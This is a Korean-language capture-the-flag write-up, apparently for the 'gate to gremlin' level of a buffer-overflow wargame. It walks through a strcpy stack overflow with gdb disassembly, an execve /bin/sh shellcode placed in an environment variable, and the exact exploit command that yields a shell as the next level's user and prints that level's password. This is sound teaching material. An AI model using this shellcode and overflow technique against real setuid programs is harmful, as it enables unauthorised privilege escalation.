LEVEL1 (gate -> gremlin) :  simple bof

코드를 한번 보자

[gate@localhost .izayoi]$ cat gremlin.c

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


buffer는 256이고 strcpy를 이용한 간단한 bof문제임을 확인 할 수 있다.
stack의 크기를 살펴보자

 [gate@localhost .izayoi]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
[gate@localhost .izayoi]$ gdb -q gremlin
(gdb) set dis intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop

gcc버젼은 2.91로 dummy값이 생성되지 않다고 생각하면 된다. 스택도 0x100(=256)만큼 확장된것을 확인할 수 있고 중간에서도 47번 라인에서 ebp-256부분을 복사하는 것을 확인할 수 있다. (들어가는 buf의 주소값이 strcpy의 인자값으로 들어가게 된다. 이때는 ebp-256의 주소값이 들어가므로 buffer의 크기는 256인 것을 생각해 볼 수 있다.)

그렇다면 여기서는 환경변수를 이용한 공격을 시도해보겠다.

사용할 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 (24byte)

 [gate@localhost .izayoi]$ export izayoi=`perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
[gate@localhost .izayoi]$ cat getenv.c
#include <stdio.h>

int main (int argc, char ** argv){
        printf("%p\n",getenv(argv[1]));
        return 0;
}
[gate@localhost .izayoi]$ make getenv
cc     getenv.c   -o getenv
[gate@localhost .izayoi]$ ./getenv izayoi
0xbfffff07


중간에 getenv라는 인자값으로 넘어오는 해당 환경변수의 주소값을 출력해주는 프로그램을 만들었다.
쉘코드가 들어간 주소값은 \x07\xff\xff\xbf가 됨을 알 수 있고 이제 공격에 들어가면 되겠다.

 
    [stack]      [sfp]             [ret]                [argc][argv]       [env]
^buf=a*(256+4)         \x07\xff\xff\xbf                            izayoi=shellcode

 [gate@localhost gate]$ ./gremlin `perl -e 'print "a"x260,"\x07\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÿÿ¿
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
Posted by john@memory :